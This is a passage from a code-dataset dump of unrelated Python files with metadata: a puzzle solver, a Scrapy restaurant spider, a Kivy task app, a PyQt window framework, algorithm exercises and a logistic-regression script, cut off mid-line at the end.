neighborB[j][1]\n if puzzle[neighborBx][neighborBy] == \"_\":\n count += 1\n order.append([count,i])\n order = sorted(order, key = lambda length:length[0])\n ordered_values = []\n ordered_sourceA = []\n ordered_sourceB = []\n for i in range(idx+1):\n ordered_values.append(values[i])\n ordered_sourceA.append(sourceA[i])\n ordered_sourceB.append(sourceB[i])\n for i in range(idx+1,len(values)):\n index = order[i - idx - 1][1]\n ordered_values.append(values[index])\n ordered_sourceA.append(sourceA[index])\n ordered_sourceB.append(sourceB[index])\n return ordered_values,ordered_sourceA,ordered_sourceB\n\n\n\ndef main():\n [puzzle, rows, columns, left, values,sourceA, sourceB] = read_Puzzle.generatePuzzle()\n print(puzzle)\n print(values)\n center = [math.floor(rows/2),math.floor(columns/2)]\n #order = heuristic(sourceA,sourceB,rows,columns)\n #order = order[::-1]\n idx = 0\n # for i in range(20000):\n # check2(puzzle,idx,values,sourceA,sourceB,rows,columns)\n # print(\"done\")\n Fordumb = []\n for i in range(len(values)):\n Fordumb.append([values[i],sourceA[i],sourceB[i]])\n shuffle(Fordumb)\n values_for_dumb = []\n sourceA_for_dumb = []\n sourceB_for_dumb = []\n for i in range(len(values)):\n values_for_dumb.append(Fordumb[i][0])\n sourceA_for_dumb.append(Fordumb[i][1])\n sourceB_for_dumb.append((Fordumb[i][2]))\n #order = [[0,0],[1,1],[2,2],[3,3],[4,4],[5,5],[6,6]]\n #pos_now = sourceA[order[idx][1]]\n pos_now = sourceA[0]\n # global count\n # count = 0\n #result = freeFlowSmart(puzzle,rows,columns,left, values,sourceA,sourceB,idx, [pos_now],order)\n #ordered_values,ordered_A,ordered_B = ordering(-1, values, sourceA, sourceB, puzzle, rows, columns)\n #pos_now = ordered_A[idx]\n start = time.time()\n result = freeFlowSmart(puzzle, rows, columns, left, values, sourceA, sourceB, idx, [pos_now])\n #result = freeFlowEcSmart(puzzle, rows, columns, left, values, sourceA, sourceB, idx, [pos_now])\n #result = freeFlowDumb(puzzle, rows, columns, left, values_for_dumb, sourceA_for_dumb, sourceB_for_dumb, idx, [sourceA_for_dumb[idx]])\n end = time.time()\n print(end-start)\n for i in range(rows):\n print(result[i])\n\nif __name__ == \"__main__\":\n main()","sub_path":"Assignment2_Search_CSP/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":20961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"240629995","text":"def suma():\n n1=int(input(\"N1:\"))\n n2=int(input(\"N2:\"))\n s=n1+n2\n print(\"La suma es\", s)\n\ndef otrasuma(n1, n2):\n s=n1+n2\n print(\"La suma es\", s)\n\ndef mayor(n1, n2):\n if(n1>n2):\n return n1\n else:\n return n2\n\n#principal\nsuma()\notrasuma(4,7)\nm=mayor(7,9)\nprint(\"Mayor:\", m)\n","sub_path":"Programación/py_projects/new/procedimientos.py","file_name":"procedimientos.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"402927949","text":"# -*- coding: utf-8 -*-\n# @Author: 何睿\n# @Create Date: 2018-08-09 11:05:17\n# @Last Modified by: 何睿\n# @Last Modified time: 2018-08-09 11:34:36\n# python .\\templates.py .\\magnus.txt .\\template.txt\n\nimport fileinput\nimport re\n\nfiled_part = re.compile(r'\\[(.+?)\\]')\nscope = {}\n\n\ndef replacement(match):\n # 用于re.sub中\n code = match.group(1)\n try:\n return str(eval(code, scope))\n except SyntaxError:\n exec(code, scope)\n return ''\n\n\nlines = []\nfor line in fileinput.input():\n lines.append(line)\ntext = ''.join(lines)\n\nprint(filed_part.sub(replacement, text))\n\n\nemphasis_pattern = re.compile(r'''\n \\* # Beginning emphasis tag -- an asterisk\n ( # Begin group for capturing phrase\n [^\\*]+ # Capture anything except asterisk\n ) # End group\n \\* # Ending emphasis tag\n ''', re.VERBOSE)\nprint(re.sub(emphasis_pattern,r'\\1','Hello,*world*!'))\n","sub_path":"Learn/templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"322192585","text":"from scrapy.spiders import SitemapSpider, CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy import Request\nimport json\n\n\nfrom myproject.items import RestaurantJson\n\nclass TabelogAllSpider(SitemapSpider):\n name = \"tabelog_all\"\n allowed_domains = [\"tabelog.com\"]\n # sitemap_urls = (\n # 'https://tabelog.com/sitemap.xml',\n # )\n #\n # sitemap_rules = [\n # (r'/sitemap_pc_area1_rstlst_\\d+.xml.gz$', 'parse_search_result'),\n # ]\n\n sitemap_rules = (\n (\"https://tabelog.com/sitemap_pc_area1_rstlst_1.xml.gz\", 'parse_search_result'),\n (\"https://tabelog.com/sitemap_pc_area1_rstlst_2.xml.gz\", 'parse_search_result'),\n )\n\n def parse_search_result(self, response):\n \"\"\"\n 地域ページか���レストランページへのリンク\n https://tabelog.com/hokkaido/A0104/rstLst/cond04-00-03/RC999909/\n \"\"\"\n\n restaurant_pages = response.css('a.list-rst__rst-name-target cpy-rst-name').extract()\n if restaurant_pages is not None:\n for page in restaurant_pages:\n yield Request(response.urljoin(page), callback=self.parse_restaurant)\n\n def parse_restaurant(self, response):\n\n \"\"\"\n レストランページからJSON-LD\n :param response:\n :return:\n \"\"\"\n\n restaurant_json = json.loads(response.css('script[type=\"application/ld+json\"]').xpath('string()').extract_first())\n\n item = RestaurantJson(\n keyword = restaurant_json['name'],\n target = restaurant_json['@id']\n )\n\n yield item\n\n","sub_path":"python/scrapy/myproject/myproject/spiders/tabelog_all.py","file_name":"tabelog_all.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"377362762","text":"import kivy\nimport sqlite3\nimport json\nfrom kivy.app import App\nfrom kivy.lang import Builder\nfrom kivy.uix.label import Label\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.button import Button\nfrom kivy.uix.spinner import Spinner\nfrom kivy.uix.widget import Widget\n#from.kivy.properties import ObjectProperty\n\n\nreadedNote = None\npriorToSearch=10\nnowEditing=10\nseenNotes = list()\nlastId = 0\nindex = 0\n\n#Builder.load_file('style.kv')\n\nclass MyGrid(Widget):\n pass\n def __init__(self, **kwargs):\n super(MyGrid, self).__init__(**kwargs)\n\n self.addButton.bind(on_press=self.add)\n self.buttonDid.bind(on_press=self.didIt)\n self.buttonLater.bind(on_press=self.doItLater)\n\n self.aboutBt.bind(on_press=self.about)\n self.showAllBt.bind(on_press=self.showAll)\n\n configFile = open(\"config.json\", \"r\")\n config = json.load(configFile)\n\n self.addButton.text = config.get(\"addButton\", \"+\")\n self.buttonDid.text = config.get(\"doneButton\", \"DONE\")\n self.buttonLater.text = config.get(\"laterButton\", \"LATER\")\n self.showAllBt.text = config.get(\"showAllButton\", \"SHOW ALL\")\n self.aboutBt.text = config.get(\"aboutButton\", \"ABOUT\")\n self.settingsBt.text = config.get(\"settingsButton\", \"SETTINGS\")\n\n self.findNew(self)\n\n\n def about(self, obj):\n global index\n self.noteLabel.text = \"By: Marek Maskarinec \\n version: 0.1\"\n index = 0\n\n def showAll(self, obj):\n global index\n conn = sqlite3.connect('cards.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM cards\")\n cards = c.fetchall()\n print(cards)\n if cards is not []:\n for i in range(len(cards)):\n self.noteLabel.text += cards[i][0] + \"\\n\" + str(cards[i][1]) + \"\\n\" + \"--------\" + \"\\n\"\n else:\n self.noteLabel.text = \"No notes\"\n conn.close()\n index = 0\n\n def add(self, obj):\n global index\n noteText = self.addTextBox.text\n priority = int(self.priorityBox.text )\n print(priority)\n print(noteText)\n conn = sqlite3.connect('cards.db')\n c = conn.cursor()\n #c.execute(\"\"\"CREATE TABLE cards\n # (note text, priority number)\"\"\")\n c.execute(\"INSERT INTO cards VALUES (?, ?)\", (noteText, priority))\n c.execute(\"SELECT * FROM cards ORDER BY priority DESC\")\n conn.commit()\n conn.close()\n index = 0\n #nowEditing = nowEditing - 1\n\n def didIt(self, obj):\n global index\n global priorToSearch\n conn = sqlite3.connect('cards.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM cards\")\n cards = c.fetchall()\n if len(cards) > 0 and index < len(cards):\n c.execute('DELETE FROM cards WHERE note=?', (cards[index][0],))\n conn.commit()\n conn.close()\n if len(cards) > 0:\n self.findNew(obj)\n #index += 1\n\n def doItLater(self, obj):\n global index\n self.findNew(obj)\n index += 1\n\n def findNew(self, obj):\n global index\n print(index)\n conn = sqlite3.connect('cards.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM cards ORDER BY priority DESC\")\n #c.execute(\"SELECT * FROM cards\")\n cards = c.fetchall()\n print(cards)\n conn.close()\n if index >= len(cards):\n index = 0\n\n if len(cards) > 0:\n self.noteLabel.text = cards[index][0]\n else:\n self.noteLabel.text = \"no notes\"\n \"\"\"global priorToSearch\n global seenNotes\n global lastId\n cycleNumber = 0\n while True:\n conn = sqlite3.connect('cards.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM cards WHERE priority=?\", (priorToSearch,))\n recordRow = c.fetchone()\n if recordRow is not None:\n c.execute(\"SELECT rowid, * FROM cards WHERE note=?\", (recordRow[0],))\n lastId = c.fetchone\n else:\n self.noteLabel.text = \"Create note first\"\n\n if recordRow is None:\n self.noteLabel.text = \"\"\n priorToSearch = priorToSearch - 1\n if priorToSearch < 1:\n if cycleNumber == 1:\n break\n else:\n priorToSearch = 10\n cycleNumber = cycleNumber + 1\n #seenNotes = list()\n else:\n print(seenNotes)\n print(lastId)\n if lastId not in seenNotes:\n print(recordRow)\n self.noteLabel.text = recordRow[0]\n #priorityLabel.config(text=recordRow[1])\n seenNotes.append(lastId)\n break\n else:\n priorToSearch = priorToSearch - 1\n\n conn.commit()\n conn.close()\n priorToSearch = priorToSearch -1\"\"\"\n\n\nclass Window(App):\n\n def build(self):\n return MyGrid()\n\nwindow = Window()\n\nwindow.run()\n","sub_path":"taskDeckAndoid.py","file_name":"taskDeckAndoid.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"274797828","text":"import sys\n\ndef kill_matrix(matrix):\n result_num = len(matrix[0]) ** 2\n max_block = find_maxnum(matrix)\n\n if not max_block:\n return result_num\n else:\n matrix, result_num = kill_num(matrix)\n matrix = drop_matrix(matrix)\n return kill_matrix(matrix)\n\ndef find_maxnum(matrix):\n length = len(matrix[0])\n num_dict = {1:[], 2:[], 3:[], 4:[]}\n visited = set()\n\n for i in range(1,5):\n for m in range(length):\n for n in range(length):\n if matrix[m][n] == i and [m,n] not in visited:\n num_dict[i].append([[m,n], 1])\n visited, num_dict = find_onenum(matrix, m, n, 0, visited, num_dict)\n\n maxblock = [0]\n for numinfo in num_dict:\n num, pathes = numinfo\n\n for path in pathes:\n if path[-1] > maxblock[-1]:\n maxblock = path\n\n if maxblock[-1] > 2:\n return maxblock\n return None\n\n\ndef find_onenum(matrix, m, n, num, visited, num_dict):\n for run in [[-1,0],[1,0],[0,1],[0,-1]]:\n x, y = run\n if matrix[m][n] == matrix[m+x][n+y]:\n visited.add([m+x][n+y])\n num_dict[matrix[m][n]][-1] += 1\n visited, num_dict = find_onenum(matrix,m+x,n+y,num+1,visited,num_dict)\n\n return visited, num_dict\n\ndef kill_num(matrix):\n # TODO\n return matrix\n\ndef drop_matrix(matrix):\n # TODO\n return matrix\n\n\n\n\n # dp = [[0] * (length + 2) for _ in range(length + 2) ]\n #\n # for i in range(1, length + 1):\n # for j in range(1, length + 1):\n # center = matrix[i-1][j-1]\n # up = matrix[i-2][j-1]\n # left = matrix[i-1][j-2]\n #\n # if center == up :\n # dp[i][j] = dp[i-1][j] + 1\n # if dp[i][j] > maxnum_num:\n # maxnum_num = dp[i][j]\n # maxnum = center\n # if center == left:\n # dp[i][j] = dp[i][j-1] + 1\n # if dp[i][j] > maxnum_num:\n # maxnum_num = dp[i][j]\n # maxnum = center\n #\n # for j in range(1, length + 1, -1):\n #\n #\n # if center == up:\n # dp[i][j] = dp[i - 1][j] + 1\n # if dp[i][j] > maxnum_num:\n # maxnum_num = dp[i][j]\n # maxnum = center\n # if center == left:\n # dp[i][j] = dp[i][j - 1] + 1\n # if dp[i][j] > maxnum_num:\n # maxnum_num = dp[i][j]\n # maxnum = center\n\n\n\n\n\nwhile True:\n input_array = input()\n if input_array:\n sub_list = list(map(int, input_array.split()))\n matrix = [sub_list]\n for i in range(len(sub_list)):\n matrix.append(list(map(int, input().split())))\n\n result_num = kill_matrix(matrix)\n\n# while True:\n# input_array = input()\n# if not input_array:\n# break\n# n, m = list(map(int, input_array.split()))\n#\n# result = n\n# for _ in range(1, m):\n# n = n ** 0.5\n# result += n\n#\n# sys.stdout.write('%.2f' %result )\n\n # '%.2f %03d' %(1213.2345, 3)\n # print(obj)实质就是调用sys.stdout.write(obj+’\\n’)\n\n # 1. round()\n # 这个不说了,前面已经讲过了。一定要注意它不是简单的四舍五入,而是ROUND_HALF_EVEN的策略。\n #\n # 2. math模块的ceil(x)\n # 取大于或者等于x的最小整数。\n #\n # 3. math模块的floor(x)\n # 去小于或者等于x的最大整数。\n #print \"round(80.23456, 2) : \", round(80.23456, 2)\n# print \"round(100.000056, 3) : \", round(100.000056, 3)\n# print \"round(-100.000056, 3) : \", round(-100.000056, 3)\n\n# round(80.23456, 2) : 80.23\n# round(100.000056, 3) : 100.0\n# round(-100.000056, 3) : -100.0","sub_path":"learn_torch/test_jd.py","file_name":"test_jd.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"357372022","text":"from PyQt4 import QtGui, QtCore\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\n\nclass WinMain(QtGui.QMainWindow):\n\n def __init__(self):\n QtGui.QMainWindow.__init__(self)\n\n self.resize(1500, 900)\n self.setWindowTitle(\"Reserver v0.1\")\n\n self.__MDI_area = QtGui.QMdiArea()\n self.setCentralWidget(self.__MDI_area)\n\n self.__setupMenubar()\n\n self.__databasesRoot = \"/Users/matthewjbelcher/Documents/Python/db\"\n self.__openMDI_subWindows = {}\n\n self.__projectStartDate = None\n self.__projectEndDate_o = None\n self.__projectEndDate_d = None\n self.__project_oLength = None\n self.__project_dLength = None\n\n self.show()\n\n def __setupMenubar(self):\n\n self.__menubar = self.menuBar()\n self.__menus = {}\n\n # File menu\n\n self.__menus[\"file\"] = self.__menubar.addMenu(\"&File\")\n\n # View\n\n self.__menus[\"view\"] = self.__menubar.addMenu(\"&View\")\n\n qAction_showProjectExplorer = QAction_ShowProjectExplorer(\"&Show project explorer\", self)\n self.__menus[\"view\"].addAction(qAction_showProjectExplorer)\n\n qAction_showImportExplorer = QAction_ShowImportExplorer(\"&Import data\", self)\n self.__menus[\"view\"].addAction(qAction_showImportExplorer)\n\n qAction_showReservingClassExplorer = QAction_ShowReservingClassExplorer(\"&Show reserving class types\", self)\n self.__menus['view'].addAction(qAction_showReservingClassExplorer)\n\n def classifyNewSubWindow(self, name, subWindow, type_):\n self.__openMDI_subWindows[name] = {\"subWindow\": subWindow,\n \"type\": type_}\n\n def declassifySubWindow(self, name):\n del self.__openMDI_subWindows[name]\n\n def addRClassTypeMenu(self, window):\n self.__menus['rClassTypes'] = self.__menubar.addMenu('&Reserving class types')\n\n qAction_addRClassType = QAction_AddRClassType('&Add type', self, window)\n self.__menus['rClassTypes'].addAction(qAction_addRClassType)\n\n qAction_removeRClassType = QAction_RemoveRClassType('&Remove selected type', self, window)\n self.__menus['rClassTypes'].addAction(qAction_removeRClassType)\n\n def removeRClassTypeMenu(self):\n self.__menubar.removeAction(self.__menus['rClassTypes'].menuAction())\n\n @property\n def openMDI_subWindows(self):\n return self.__openMDI_subWindows\n\n @property\n def MDI_area(self):\n return self.__MDI_area\n\n @property\n def databasesRoot(self):\n return self.__databasesRoot\n\n @property\n def projectStartDate(self):\n return self.__projectStartDate\n\n @projectStartDate.setter\n def projectStartDate(self, value):\n if isinstance(value, str):\n self.__projectStartDate = datetime.datetime.strptime(value, \"%Y-%m-%d\").date()\n else:\n self.__projectStartDate = value\n\n @property\n def projectEndDate_o(self):\n return self.__projectEndDate_o\n\n @projectEndDate_o.setter\n def projectEndDate_o(self, value):\n if isinstance(value, str):\n self.__projectEndDate_o = datetime.datetime.strptime(value, \"%Y-%m-%d\").date()\n else:\n self.__projectEndDate_o = value\n\n @property\n def projectEndDate_d(self):\n return self.__projectEndDate_d\n\n @projectEndDate_d.setter\n def projectEndDate_d(self, value):\n if isinstance(value, str):\n self.__projectEndDate_d = datetime.datetime.strptime(value, \"%Y-%m-%d\").date()\n else:\n self.__projectEndDate_d = value\n\n @property\n def project_oLength(self):\n return self.__project_oLength\n\n @project_oLength.setter\n def project_oLength(self, value):\n self.__project_oLength = value\n\n @property\n def project_dLength(self):\n return self.__project_dLength\n\n @project_dLength.setter\n def project_dLength(self, value):\n self.__project_dLength = value\n\n def oCount(self, oLength=None):\n if oLength is None:\n oLength = self.__project_oLength\n\n monthCount = (self.__projectEndDate_o.year - self.__projectStartDate.year) * 12 + \\\n (self.__projectEndDate_o.month - self.__projectStartDate.month) + 1\n oCount = (monthCount - 1) // oLength + 1\n\n return oCount\n\n def dCount(self, dLength=None):\n if dLength is None:\n dLength = self.__project_dLength\n\n monthCount = (self.__projectEndDate_d.year - self.__projectStartDate.year) * 12 + \\\n (self.__projectEndDate_d.month - self.__projectStartDate.month) + 1\n dCount = (monthCount - 1) // dLength + 1\n\n return dCount\n\n def oHeaders(self, oLength=0):\n if oLength == 0:\n oLength = self.__project_oLength\n\n oCount = self.oCount(oLength)\n\n oPeriods = [self.__projectStartDate + relativedelta(months=o * oLength) for o in range(oCount)]\n\n if oLength == 1:\n labels = [oPeriod.strftime(\"%b%y\") for oPeriod in oPeriods]\n elif oLength == 3:\n labels = [str(oPeriod.year) + \" Q\" + str((oPeriod.month - 1) // 3 + 1) for oPeriod in oPeriods]\n elif oLength == 6:\n labels = [str(oPeriod.year) + \" H\" + str((oPeriod.month - 1) // 6 + 1) for oPeriod in oPeriods]\n elif oLength == 12:\n labels = [oPeriod.year for oPeriod in oPeriods]\n else:\n oPeriods.append(self.__projectStartDate + relativedelta(months=oCount * oLength))\n labels = [oPeriods[o].strftime(\"%b%y\") + \"-\" + (oPeriods[o + 1] - relativedelta(days=1)).strftime(\"%b%y\")\n for o in range(oCount)]\n\n return labels\n\n def dHeaders(self, dLength=0, basis=\"Development\"):\n if dLength == 0:\n dLength = self.__project_dLength\n\n dCount = self.dCount(dLength)\n project_dCount = self.dCount()\n\n labels = []\n\n if basis == \"Development\":\n labels = [project_dCount - d * dLength for d in range(dCount)]\n labels.reverse()\n\n elif basis == \"Calendar\":\n labels = [(self.__projectEndDate_d - relativedelta(months=d)).strftime(\"%b%y\") for d in range(dCount)]\n labels.reverse()\n\n return labels\n\n\nclass QAction_ShowProjectExplorer(QtGui.QAction):\n\n def __init__(self, caption, parent):\n QtGui.QAction.__init__(self, caption, parent)\n\n self.__parent = parent\n\n self.triggered.connect(self.__showProjectExplorer)\n\n def __showProjectExplorer(self):\n projectExplorer = self.__parent.openMDI_subWindows[\"Project Explorer\"]\n self.__parent.MDI_area.setActiveSubWindow(projectExplorer[\"subWindow\"].MDI_subWindow)\n\n projectExplorer[\"subWindow\"].MDI_subWindow.setWindowState(QtCore.Qt.WindowMaximized)\n\n\nclass QAction_ShowImportExplorer(QtGui.QAction):\n\n def __init__(self, caption, parent):\n QtGui.QAction.__init__(self, caption, parent)\n\n self.__parent = parent\n\n self.triggered.connect(self.__showImportExplorer)\n\n def __showImportExplorer(self):\n try:\n self.__parent.openMDI_subWindows[\"Import Explorer\"]\n except KeyError:\n import mImporter\n projectPath = self.__parent.openMDI_subWindows[\"Project Explorer\"][\"subWindow\"].projectPath\n mImporter.SubWinImportExplorer(projectPath=projectPath, parent=self.parent())\n\n\nclass QAction_ShowReservingClassExplorer(QtGui.QAction):\n\n def __init__(self, caption, parent):\n QtGui.QAction.__init__(self, caption, parent)\n\n self.__parent = parent\n\n self.triggered.connect(self.__showReservingClassExplorer)\n\n def __showReservingClassExplorer(self):\n try:\n self.__parent.openMDI_subWindows['Reserving class types']\n except KeyError:\n import mReservingClasses\n projectPath = self.__parent.openMDI_subWindows['Project Explorer']['subWindow'].projectPath\n mReservingClasses.SubWinReservingClassExplorer(projectPath=projectPath, parent=self.parent())\n\n\nclass QAction_AddRClassType(QtGui.QAction):\n\n def __init__(self, caption, parent, window):\n QtGui.QAction.__init__(self, caption, parent)\n\n self.__parent = parent\n self.__window = window\n\n self.triggered.connect(self.__addRClassType)\n\n def __addRClassType(self):\n import mReservingClasses\n mReservingClasses.WinAddOrEditReservingClassType(parent=self.__window)\n\n\nclass QAction_RemoveRClassType(QtGui.QAction):\n\n def __init__(self, caption, parent, window):\n QtGui.QAction.__init__(self, caption, parent)\n\n self.__parent = parent\n self.__window = window\n\n self.triggered.connect(self.__removeRClassType)\n\n def __removeRClassType(self):\n self.__window.removeRClassType()\n\n\nclass MDI_SubWindow(QtGui.QWidget):\n \"\"\" Base class for MDI sub-windows \"\"\"\n\n def __init__(self, MDI_area):\n QtGui.QWidget.__init__(self)\n\n self.__MDI_area = MDI_area\n self.__mainWindow = self.__MDI_area.parent()\n\n self.__setupWindow()\n\n def __setupWindow(self):\n\n self.__MDI_subWindow = self.__MDI_area.addSubWindow(self)\n self.__MDI_subWindow.resize(600, 600)\n\n self.__MDI_subWindow.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n\n self.__grid = QtGui.QGridLayout()\n self.__grid.setSpacing(0)\n self.__grid.setContentsMargins(0, 0, 0, 0)\n self.setLayout(self.__grid)\n\n @property\n def MDI_area(self):\n return self.__MDI_area\n\n @property\n def mainWindow(self):\n return self.__mainWindow\n\n @property\n def MDI_subWindow(self):\n return self.__MDI_subWindow\n\n @property\n def grid(self):\n return self.__grid\n","sub_path":"mWindows.py","file_name":"mWindows.py","file_ext":"py","file_size_in_byte":9774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"196182993","text":"# Given an array of numbers, find the length of the longest increasing sub sequence in the array.\n# The sub sequence does not necessarily have to be contiguous.\n#\n# For example, given the array [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15],\n# the longest increasing sub sequence has length 6: it is 0, 2, 6, 9, 11, 15.\n\n\ndef longest_increasing_subsequence(arr):\n if not arr:\n return 0\n\n cache = [1] * len(arr)\n\n for i in range(1, len(arr)):\n for j in range(i):\n if arr[i] > arr[j]:\n # cache is maintaining lis at i and here check is if lis at index i > lis > at index\n # j + 1. adding 1 to it it mean adding lis count at j.\n cache[i] = max(cache[i], cache[j]+1)\n\n return max(cache)\n\n\ndef lis_binaray_search(nums):\n if not nums or len(nums) == 0:\n return 0\n dp = []\n\n for num in nums:\n index = binary_search(dp, num)\n if index > len(dp) or index < 0:\n dp.append(num)\n elif (index >= 0) and index < len(dp):\n dp[index] = num\n\n return len(dp)\n\n\ndef binary_search(lst, target):\n if not lst:\n return -1\n\n low = 0\n high = len(lst) - 1\n target_index = -1\n # mid = 0\n while low <= high:\n mid = int((low + high) / 2)\n if target > lst[mid]:\n # mid += 1\n low = mid + 1\n elif target < lst[mid]:\n high = mid - 1\n else:\n return mid\n\n if (low > high) and (low < len(lst)):\n return low\n elif low == len(lst):\n return low + 1\n\n return target_index\n # return - mid -1\n# print(binary_search([1, 2, 3, 4, 6], 5))\n\n# print(binary_search([1, 3, 4, 5, 6], 2))\n\n# print(binary_search([1, 3, 4, 5, 6], 8))\n\n# print(binary_search([1, 3, 5, 6], 4))\n\n\nprint(longest_increasing_subsequence([0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]))\n\n# print(lis_binaray_search([0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]))\n\n# print(lis_binaray_search([2, 2]))\n\n\n","sub_path":"python/problems/75_longest_increasing_subsequence.py","file_name":"75_longest_increasing_subsequence.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"460462262","text":"# -*- coding:UTF-8 -*-\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport pylab\nimport math\n\"\"\"\n函数说明:梯度上升算法测试函数\n\n求函数f(x) = -x^2 + 4x的极大值\n\nParameters:\n\t无\nReturns:\n\t无\nAuthor:\n\tJack Cui\nBlog:\n\thttp://blog.csdn.net/c406495762\nZhihu:\n\thttps://www.zhihu.com/people/Jack--Cui/\nModify:\n\t2017-08-28\n\"\"\"\ndef Gradient_Ascent_test():\n\tdef f_prime(x_old):\t\t\t\t\t\t\t\t\t#f(x)的导数\n\t\treturn -2 * x_old + 4\n\tx_old = -1\t\t\t\t\t\t\t\t\t\t\t#初始值,给一个小于x_new的值\n\tx_new = 0\t\t\t\t\t\t\t\t\t\t\t#梯度上升算法初始值,即从(0,0)开始\n\talpha = 0.01\t\t\t\t\t\t\t\t\t\t#步长,也就是学习速率,控制更新的幅度\n\tpresision = 0.00000001\t\t\t\t\t\t\t\t#精度,也就是更新阈值\n\twhile abs(x_new - x_old) > presision:\n\t\tx_old = x_new\n\t\tx_new = x_old + alpha * f_prime(x_old)\t\t\t#上面提到的公式\n\tprint(x_new)\t\t\t\t\t\t\t\t\t\t#打印最终求解的极值近似值\n\n\"\"\"\n函数说明:加载数据\n\nParameters:\n\t无\nReturns:\n\tdataMat - 数据列表\n\tlabelMat - 标签列表\nAuthor:\n\tJack Cui\nBlog:\n\thttp://blog.csdn.net/c406495762\nZhihu:\n\thttps://www.zhihu.com/people/Jack--Cui/\nModify:\n\t2017-08-28\n\"\"\"\ndef loadDataSet():\n\tdataMat = []\t\t\t\t\t\t\t\t\t\t\t\t\t\t#创建数据列表\n\tlabelMat = []\t\t\t\t\t\t\t\t\t\t\t\t\t\t#创建标签列表\n\tfr = open('testSet.txt')\t\t\t\t\t\t\t\t\t\t\t#打开文件\t\n\tfor line in fr.readlines():\t\t\t\t\t\t\t\t\t\t\t#逐行读取\n\t\tlineArr = line.strip().split()\t\t\t\t\t\t\t\t\t#去回车,放入列表\n\t\tdataMat.append([1.0, float(lineArr[0]), float(lineArr[1])])\t\t#添加数据\n\t\tlabelMat.append(int(lineArr[2]))\t\t\t\t\t\t\t\t#添加标签\n\tfr.close()\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#关闭文件\n\treturn dataMat, labelMat\t\t\t\t\t\t\t\t\t\t\t#返回\ndef loaddata():\n data_xls = pd.read_excel('2014 and 2015 CSM dataset.xlsx', index_col=0)\n data_xls.to_csv('dataset.csv', encoding='utf-8')\n data = pd.read_csv('dataset.csv', sep=',')\n delnum = [0,1,6,-1]\n data.drop(data.columns[delnum],axis=1,inplace=True)\n corr = data.corr().values\n mydel = []\n for i in range(len(corr[0])):\n if(corr[i,2] <= 0.2 and corr[i,2] >= -0.2):\n mydel.append(i)\n data.drop(data.columns[mydel],axis=1,inplace=True)\n data = np.array(data.values)\n datanum = []\n for i in range(len(data)):\n \tbuffer = [i]\n \tdatanum.append(buffer)\n data[:, [1, -1]] = data[:, [-1, 1]]\n data = np.concatenate((datanum,data),axis = 1)\n return data\n\"\"\"\n函数说明:sigmoid函数\n\nParameters:\n\tinX - 数据\nReturns:\n\tsigmoid函数\nAuthor:\n\tJack Cui\nBlog:\n\thttp://blog.csdn.net/c406495762\nZhihu:\n\thttps://www.zhihu.com/people/Jack--Cui/\nModify:\n\t2017-08-28\n\"\"\"\ndef sigmoid(inX):\n\treturn 1.0 / (1 + np.exp(-inX))\n\n\"\"\"\n函数说明:梯度上升算法\n\nParameters:\n\tdataMatIn - 数据集\n\tclassLabels - 数据标签\nReturns:\n\tweights.getA() - 求得的权重数组(最优参数)\nAuthor:\n\tJack Cui\nBlog:\n\thttp://blog.csdn.net/c406495762\nZhihu:\n\thttps://www.zhihu.com/people/Jack--Cui/\nModify:\n\t2017-08-28\n\"\"\"\ndef gradAscent(dataMatIn, classLabels):\n\tdataMatrix = np.mat(dataMatIn)\t\t\t\t\t\t\t\t\t\t#转换成numpy的mat\n\tlabelMat = np.mat(classLabels).transpose()\t\t\t\t\t\t\t#转换成numpy的mat,并进行转置\n\tm, n = np.shape(dataMatrix)\t\t\t\t\t\t\t\t\t\t\t#返回dataMatrix的大小。m为行数,n为列数。\n\talpha = 0.001\t\t\t\t\t\t\t\t\t\t\t\t\t\t#移动步长,也就是学习速率,控制更新的幅度。\n\tmaxCycles = 500\t\t\t\t\t\t\t\t\t\t\t\t\t\t#最大迭代次数\n\tprint(m,n)\n\tweights = np.ones((n,1))\n\tprint(weights)\n\tfor k in range(maxCycles):\n\t\th = sigmoid(dataMatrix * weights)\t\t\t\t\t\t\t\t#梯度上升矢量化公式\n\t\terror = labelMat - h\n\t\tweights = weights + alpha * dataMatrix.transpose() * error\n\treturn weights.getA()\t\t\t\t\t\t\t\t\t\t\t\t#将矩阵转换为数组,返回权重数组\n\ndef judge(dataMatIn,weights):\n\tres = 0\n\tfor i in range(len(weights) - 1):\n\t\tres += dataMatIn[i] * weights[i]\n\tres += weights[-1]\n\tif(res >= 0):\n\t\treturn 1\n\telse:\n\t\treturn 0\n\treturn res\nif __name__ == '__main__':\n\t#dataMat, labelMat = loadDataSet()\n\tdata = 